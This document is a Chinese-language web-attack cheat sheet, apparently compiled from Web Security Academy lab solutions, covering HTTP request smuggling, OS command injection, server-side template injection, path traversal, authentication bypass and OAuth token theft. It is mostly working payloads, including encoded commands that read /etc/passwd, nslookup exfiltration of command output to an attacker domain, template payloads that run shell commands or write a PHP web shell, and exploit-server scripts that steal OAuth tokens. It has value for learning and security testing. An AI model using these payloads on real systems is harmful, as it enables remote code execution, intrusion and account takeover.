前端服务器和后端服务器都支持Transfer-Encoding标头,但是可以通过以某种方式混淆标头来诱导其中一个服务器不处理它。

// 可能有无穷无尽的方法来混淆标头。
Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

简单利用

Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
Transfer-Encoding: cow

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

0

使用计时技术查找 CL.TE 漏洞

CL.TE 漏洞延时payload

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

TE.CL 漏洞延时payload

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6

0

X

通过差异响应确认 CL.TE 漏洞

// 请求两次, 第两次请求 404 页面。
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
X-Ignore: X
// 第二个请求应为 HTTP 404 响应

通过差异响应确认 TE.CL漏洞

Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

0

利用 HTTP 请求走私绕过前端安全控制,CL.TE 漏洞

// 直接访问/admin请求被阻止。请求两次返回403页面 "Admin interface only available to local users"
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-Ignore: X
// 返回401, 加 Host: localhost头测试
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
X-Ignore: X
// 返回403 "Duplicate header names are not allowed", 与第一个请求的Host冲突
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=
// 添加Content-Type和修改Content-Length返回了admin面板,

Content-Length的数值为可以使用"Update Content-Length"协助, 假如请求没有请求body, 长度数值不变, 如果有body, 例如x=, 就是Update自动计算的数字 - body的长度(本例为2)

利用 HTTP 请求走私绕过前端安全控制,TE.CL 漏洞

// 直接访问/admin请求被阻止。请求两次返回403页面 "Admin interface only available to local users"
Content-length: 4
Transfer-Encoding: chunked

60
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0


0
// 返回401, 加 Host: localhost头测试
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

71
POST /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0


0
// 返回admin面板, 删除用户
Content-length: 4
Transfer-Encoding: chunked

87
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0


0

绕过客户端身份验证

// 对客户端进行身份验证的组件通常通过一个或多个非标准 HTTP 标头将相关详细信息从证书传递到应用程序或后端服务器。
X-SSL-CLIENT-CN: carlos
// 由于这些标头应该对用户完全隐藏,因此后端服务器通常隐式信任它们。假设您能够发送标头和值的正确组合,这可能使您能够绕过访问控制。
Content-Type: x-www-form-urlencoded
Content-Length: 64
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-SSL-CLIENT-CN: administrator
Foo: x

利用 HTTP 请求走私来交付反射的 XSS

// User-Agent存在反射xss, <input required type="hidden" name="userAgent" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64) ">
// 替换User-Agent和 userAgent, payload为 "/><script>alert(1)</script>
// 执行请求走私攻击, 无需受害者点击, 服务器下个请求会自动处理请求
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Transfer-Encoding: chunked

0

GET /post?postId=5 HTTP/1.1
User-Agent: a"/><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1

操作系统命令注入(rce)

常用绕过命令方式

// 各种元字符
&  &&  |  || # win和基于Unix系统
;  换行符(0x0a或\n)  `` $(id) # 仅基于Unix系统

// 插入命令
`id`
$(id)
\nid
id;whoami
id&&whoami

// 绕过空格
{ls,-l}
ls\t-l

// 绕过关键词
$(printf "\154\163") # 八进制字符
l''s''
l""s
l``s
l\s
ls$u
cat /???/pass*
cat /etc$u/passwd
cat /etc/pass{wd,}

a=c;b=a;c=t;$a$b$c 1.txt
// 编码为base64再执行
echo 'cat' | base64
`echo 'Y2F0Cg==' |base64 -d` 1.txt
// 编码cat /etc/passwd
echo 'Y2F0IC9ldGMvcGFzc3dkCg==' |base64 -d | bash
// 编码为16进制在进行逆向还原后执行cat /etc/passwd
echo "636174202f6574632f706173737764" | xxd -r -p |bash

// 奇怪姿势
// 目录的一些操作
cd ~- 或 cd - # 回到上一个目录
cd ~test # 进入/home/test目录
cat /proc/1/cgroup # 可用查看是docker(12:cpuset:/kubepods/burstable/podc)还是物理或虚拟机(12:pids:/)
ip a # IP为172.17.0.2/16段的, 一般也是docker

利用时间延迟判断盲RCE

& ping -c 10 127.0.0.1 &
// 10秒ping的payload
email=x||ping+-c+10+127.0.0.1||

通过重定向输出判断盲RCE

& whoami > /var/www/static/whoami.txt &
// rce和文件包含的payload
email=||whoami>/var/www/images/output.txt||
image?filename=output.txt

使用带外 (OAST) 技术利用盲操作系统命令注入

& nslookup kgji2ohoyw.web-attacker.com &
// 可以简单输入注入命令回显
& nslookup `whoami`.kgji2xxx.web-attacker.com &
// email=||nslookup+`whoami`.YOUR-SUBDOMAIN-HERE.burpcollaborator.net||

服务器端模板注入(SSTI)

常用检测, 也许最简单的初始方法是尝试通过注入模板表达式中常用的特殊字符序列(如 .如果引发异常,则表示注入的模板语法可能以某种方式被服务器解释。这表明可能存在服务器端模板注入的漏洞。

${ { <% [%'"}}%\

// 回显49有漏洞
?username=${7*7}
// 闭合模板进行注入
?greeting=data.username}}<html tag>
// 使用<%=foobar%>识别 Ruby 的 ERB 引擎的以下响应:(erb):1:in `<main>': undefined local variable or method `foobar' for main 2.5.0, 利用
?message=<%25%3d+7*7+%25> // <%= 7*7 %>
?message=<%= system("rm /home/carlos/morale.txt") %>
// 列出目录
<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>

模板决策树


基本服务器端模板注入(代码上下文)

Tornado 模板使用 {{someExpression}}语法

POST / HTTP/1.1

display=user.name}}{{7*7}}
// 执行python代码
{% somePython %}
display=user.name}}{%25+import+os+%25}{{os.system('rm%20/home/carlos/morale.txt')
display=user.name}}{%25+import+os%3bos.system("ls+-alh")%25}

Freemarker 服务器端模板注入

// 使用${someExpression}格式, 可利用内置new()创建实现TemplateModel接口的任意 Java 对象。
// 加载TemplateModel该类的 JavaDoc,并查看“所有已知的实现类”列表。发现Execute可执行命令
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("ls -l") }

// 沙盒的Freemarker文件获取, 使用${object.getClass()}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")
// 读取的byte字节转Java string
byte[] bytes = {114, 111, 111, 116, 58, 120, 58, 48, 58, 48, 58, 114, 111, 111, 116, 58, 47, 114, 111, 111, 116, 58, 47, 98, 105, 110, 47, 98, 97, 115, 104};
System.out.println(new String(bytes));

Velocity的payload

// ClassTool:用于在模板中使用 Java 反射的工具, 默认$class, 可将将$class.inspect与$class.type 链接起来以获取对任意对象的引用
$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()
// 获取shell输出, 比较棘手,毕竟是Java
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

tomcat7

Smarty是PHP的模板语言

// 有安全模式, 不能执行system()
// getStreamVariable方法可用于读取服务器具有读写权限的任何文件和环境变量
{self::getStreamVariable("file:///proc/self/loginuid")}
{self::getStreamVariable($SCRIPT_NAME)}
// 写文件
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

Twig是PHP的模板语言

// 默认限制类似于 Smarty 的安全模式,附加限制, 无法调用静态方法,并且所有函数的返回值都转换为字符串。
// Twig_Environment上的setCache方法可用于从中加载和执行已编译模板(PHP 文件)的位置。可远程加载文件包含漏洞, 现代版本的 PHP 默认通过allow_url_include禁用包含远程文件,因此这种方法用处不大。
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
// 第 874 行getFilter方法中危险的call_user_func函数的调用。只要控制它的参数,就可以用来调用任意 PHP 函数, 执行任意 shell 命令只需将exec注册为过滤器回调,然后调用getFilter
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Twig(沙盒)

// 额外禁用属性检索并添加函数和方法调用的白名单,因此默认情况下我们完全不能调用任何函数,甚至是开发人员提供的对象上的方法。
// displayBlock方法提供了一种高级小工具, $template->$block($context, $blocks) ; call 可以被滥用来绕过函数白名单,并在用户可以获得引用的任何对象上调用任何方法。以下代码将调用userObject对象上的sensitiveMethod 方法,不带任何参数。
{{_self.displayBlock("id",[],{"id":[userObject,"vulnerableMethod"]})}}

Handlebars模板语言

// 使用}}{{7*7}}检测报错发现Handlebars, 调用执行require("child_process").exec("ls")
wrtz{#with "s" as  (string|) }
    {{#with "e"}}
        {#with split as  (conslist|) }
            {{this.pop}}
            {{this.push (lookup string.sub "constructor")}}
            {{this.pop}}
            {#with string.split as  (codelist|) }
                {{this.pop}}
                {{this.push "return require('child_process').exec('cat /etc/passwd');"}}
                {{this.pop}}
                {{#each conslist}}
                    {{#with (string.sub.apply 0 codelist)}}
                        {{this}}
                    {{/with}}
                {{/each}}
            {{/with}}
        {{/with}}
    {{/with}}
{{/with}}
// payload, 使用URL编码
?message=wrtz%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%7b%7b%2f%77%69%74%68%7d%7d
?message=wrtz%7B%7B%23with+%22s%22+as+%7Cstring%7C%7D%7D%0A++++%7B%7B%23with+%22e%22%7D%7D%0A++++++++%7B%7B%23with+split+as+%7Cconslist%7C%7D%7D%0A++++++++++++%7B%7Bthis.pop%7D%7D%0A++++++++++++%7B%7Bthis.push+(lookup+string.sub+%22constructor%22)%7D%7D%0A++++++++++++%7B%7Bthis.pop%7D%7D%0A++++++++++++%7B%7B%23with+string.split+as+%7Ccodelist%7C%7D%7D%0A++++++++++++++++%7B%7Bthis.pop%7D%7D%0A++++++++++++++++%7B%7Bthis.push+%22return+require('child_process').exec('cat+%2Fetc%2Fpasswd')%3B%22%7D%7D%0A++++++++++++++++%7B%7Bthis.pop%7D%7D%0A++++++++++++++++%7B%7B%23each+conslist%7D%7D%0A++++++++++++++++++++%7B%7B%23with+(string.sub.apply+0+codelist)%7D%7D%0A++++++++++++++++++++++++%7B%7Bthis%7D%7D%0A++++++++++++++++++++%7B%7B%2Fwith%7D%7D%0A++++++++++++++++%7B%7B%2Feach%7D%7D%0A++++++++++++%7B%7B%2Fwith%7D%7D%0A++++++++%7B%7B%2Fwith%7D%7D%0A++++%7B%7B%2Fwith%7D%7D%0A%7B%7B%2Fwith%7D%7D

Django模板信息泄露

// 内置标签显示调试信息
{% debug %}
// 输入框架密钥
{{settings.SECRET_KEY}}

目录遍历漏洞

// image?filename=17.jpg和<img src="/loadImage?filename=218.png">类似这样的请求
../../../etc/passwd
// 直接根目录读取
/etc/passwd
// 非递归剥离的遍历序列
....//....//....//etc/passwd
// 双重编码绕过
image?filename=..%252f..%252f..%252fetc/passwd
// 验证应用路径开头绕过
/var/www/images/../../../etc/passwd
// 使用空字节进行绕过
../../../etc/passwd%00.png

越权访问漏洞

// 可以发现/robots.txt里的/administrator-panel访问
// F12或查看页面源代码发现/admin-xxx入口

// 请求参数中带有Admin=false, 修改为true
// 更新邮件或注册中, 修改拦截请求或返回中roleId: 1等角色字段
// 平级越权, 通过登录用户, 替换user?name=xxx或id=xx为其他用户的id来访问其他用户资源
// 基于URL控制的权限策略, 添加header头X-Original-URL: /admin/delete

// 基于方法控制的越权绕过, 1.更换普通用户的cookie到管理员接口更新用户权限, 2. 将方法POST改为POSTX显示缺少参数, 可右键Repeater的更换request method自动转换请求方式请求来绕过

// 使用Referer: https://xxx.net/admin进行校验的绕过, 替换普通的cookie, 添加Referer头

身份验证漏洞

认证爆破

// 2FA认证的简单绕过, 记录自己账户主页URL, 在登录受害者账户后要求输入电子邮件的认证码时, 直接替换为账户主页的URL进行绕过
// 任意用户密码重置漏洞, 忘记密码发送重置邮件, 在重置连接或提交新密码的接口存在&username=xxx字段, 替换对应用户绕过, 还有逻辑错误, 可以删除?temp-forgot-password-token=xxx的token字段进行绕过

一般的基于 IP 的爆破保护形式, 可以添加 HTTP 请求头轻松绕过。

// 使用X-Forwarded-For头, 使用Intruder 的Number选项, from 1, to 255, step 1, 来随机IP进行绕过
X-Forwarded-For: 127.0.0.§1§
// 利用计算延时延时爆破用户名, 密码长度设置100或更多个字符, 通过使用Intruder 的response 响应时间判断用户
&password=xxxx*100
// 利用三次失败封锁IP, 成功登录重置计数, 在用户名(单用户名)和密码payload每上一行对应添加正确的用户名和密码, thread设置为1 
// 利用正确账户登录几次锁定机制和null payload来爆破用户名, 在Intruder密码参数末尾添加两个空白§, 选择Null payloads, 生成填写5次, 看返回时间和正文长度, 含有锁定用户的请求即是, 爆破密码使用Grep - Extract功能add选中页面的错误信息

使用json实体的用户名密码登录绕过

// {"username":"asd","password":"asd","":""}
// 将password字段改为数组请求进行爆破
{
    "username": "zasa",
    "password": [
        "123456",
        "password",
        "moon"
    ],
    "": ""
}

通过中间件email重置密码token重定向

// 可以添加X-Forwarded-Host头存在将动态生成的重置链接指向任意域
X-Forwarded-Host: your-exploit-server-id.web-security-academy.net
// 用户名更换为受害者
username=carlos

Host 标头存在任意值修改漏洞,但仍可成功触发密码重置邮件请求。用户会不小心点击他收到的电子邮件中的任何链接。

// 修改Host头
Host: exploit-ac431f5d1f3de285c07905f201300029.web-security-academy.net
// 修改请求的用户名为受害者, 查看漏洞服务器的access log, 替换改密的token, 来修改受害者的密码
&username=carlos

利用重置密码接口爆破用户密码

// 当前密码输入错误, 新密码两条匹配, 锁定用户
// 利用输入正确的当前密码,但输入两个不同的新密码,提示当前密码不匹配的回显进行爆破, grep match里添加对应的New passwords do not match回显
username=carlos&current-password=§peter§&new-password-1=qwe&new-password-2=asd

利用悬挂标记获取重置Email的密码

// 重置密码会发送到邮件正文一个随机的新密码, 电子邮件的 HTML 内容已写入密码等字符串, 但DOMPurify在浏览器呈现之前, 正在使用库对其进行清理. 
// 修改/forgot-password接口的Host头, 发现修改网站会报错, 但是可以认定任意字符的端口内容
Host: your-lab.net:xxx

// 使用端口断开字符串并注入指向漏洞利用服务器的悬空标记payload
Host: your-lab.net:'<a href="//your-exploit-server-id.web-security-academy.net/?
// 邮件正文处理片段
<div style='word-break: break-all' class=dirty-body data-dirty='<p>Hello!</p><p>Please <a href=&apos;https://ac961f221fc53ab4c06b51430033004b.web-security-academy.net/login&apos;>click here</a> to login with your new password: S7QEuQ5I7V</p><p>Thanks,<br/>Support team</p><i>This email has been scanned by the MacCarthy Email Security service</i>'>
<script>
    window.addEventListener('DOMContentLoaded', () => {
        for (let el of document.getElementsByClassName('dirty-body')) {
            el.innerHTML = DOMPurify.sanitize(el.getAttribute('data-dirty'));
        }
    });
</script>

OAuth 身份验证漏洞

OAuth 授权类型

OAuth 隐式流绕过身份验证

隐式授权类型 LABS 的实现不当漏洞

// 使用正常用户进行oauth登录
GET /auth?client_id=ecrp5l29e5snlvyjwh4v4&redirect_uri=https://ac2f1fef1edd5c73c0d432d2009600f7.web-security-academy.net/oauth-callback&response_type=token&nonce=1330604923&scope=openid%20profile%20email
// 获取到认证的信息
POST /authenticate HTTP/1.1

{"email":"carlos@carlos-montoya.net","username":"wiener","token":"YqHYQRjuGBW_GNgh2zaRoOHp14teRfQV_HBrG-ptXLJ"}
// 替换为受害者的邮件, 然后右键打开in origin session

识别 OAuth 身份验证

识别应用使用 OAuth 身份验证相对简单。如果您看到应用提供从其他网站使用您的帐户登录的选项,则强烈表明应用正在使用OAuth。

配置泄露

/.well-known/oauth-authorization-server
/.well-known/openid-configuration

客户端应用程序中的漏洞

有缺陷的 CSRF 保护

state参数应包含一个不可猜测的值,例如在用户首次启动 OAuth 流时绑定到用户会话的内容的哈希值。然后,此值作为客户端应用程序的 CSRF 令牌形式在客户端应用程序和 OAuth 服务之间来回传递。

// 网站没有使用state的哈希CSRF, 使用自己账户生成的oauth-linking?code, 利用exp服务器引诱管理员访问, 可以将管理员账户绑定到自己的社交账户
<iframe src="https://acc91fbe1f2ae117c04c91fd005a0031.web-security-academy.net/oauth-linking?code=FFsz-eSWVZQuA4Nk01ohh4LEmoTxTNJ3kIgr3LzxcB_"></iframe>

通过 redirect_uri 劫持 OAuth 帐户

OAuth 以GET /auth?client_id=xxx发送此请求,然后立即重定向到redirect_uri查询字符串中的授权代码。redirect_uri 存在任意值重定向漏洞

// 漏洞服务器利用payload, OAuth地址为请求的Host头字段
<iframe src="https://YOUR-LAB-OAUTH-SERVER-ID.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net&response_type=code&scope=openid%20profile%20email"></iframe>
// 使用窃取的code访问
https://YOUR-LAB-ID.web-security-academy.net/oauth-callback?code=STOLEN-CODE

有缺陷的 redirect_uri 验证绕过

// 仅检查字符串是否以批准的域开头来允许一系列子目录, 可尝试截断域
https://default-host.com&@foo.evil-user.net#@bar.evil-user.net/
// 利用重复的redirect_uri参数
https://oauth-authorization-server.com/?client_id=123&redirect_uri=client-app.com/callback&redirect_uri=evil-user.net
// 可尝试某些对localhost特殊处理的情况(例如localhost.evil-user.net)
// 可尝试修改其他参数,将response_mode的query更改为fragment

通过开放重定向窃取 OAuth 访问令牌

redirect_uri存在白名单验证, /oauth-callback/../post?postId=1存在任意路由跳转,/post/next?path=xxx存在任意重定向,写入返回header的location: xxx

// 利用payload
https://YOUR-LAB-OAUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit&response_type=token&nonce=399721827&scope=openid%20profile%20email
// 漏洞服务器劫持
<script>
    if (!document.location.hash) {
        window.location = 'https://YOUR-LAB-AUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit/&response_type=token&nonce=399721827&scope=openid%20profile%20email'
    } else {
        window.location = '/?'+document.location.hash.substr(1)
    }
</script>
// 在访问日志中获取到的令牌替换为Authorization: Bearer xxx

通过代理页面窃取 OAuth 访问令牌

redirect_uri存在重定向,/post/comment/comment-form接口存在 parent.postMessage({type: 'onload', data: window.location.href}, '*')将href属性发送到其父窗口,更允许发布到任何来源

<iframe src="https://YOUR-LAB-AUTH-SERVER/auth?client_id=YOUR-LAB-CLIENT_ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-1552239120&scope=openid%20profile%20email"></iframe>
<script>
    window.addEventListener('message', function(e) {
        fetch("/" + encodeURIComponent(e.data.data))
    }, false)
</script>
最后由 不一样的少年 编辑于2022年03月11日 14:51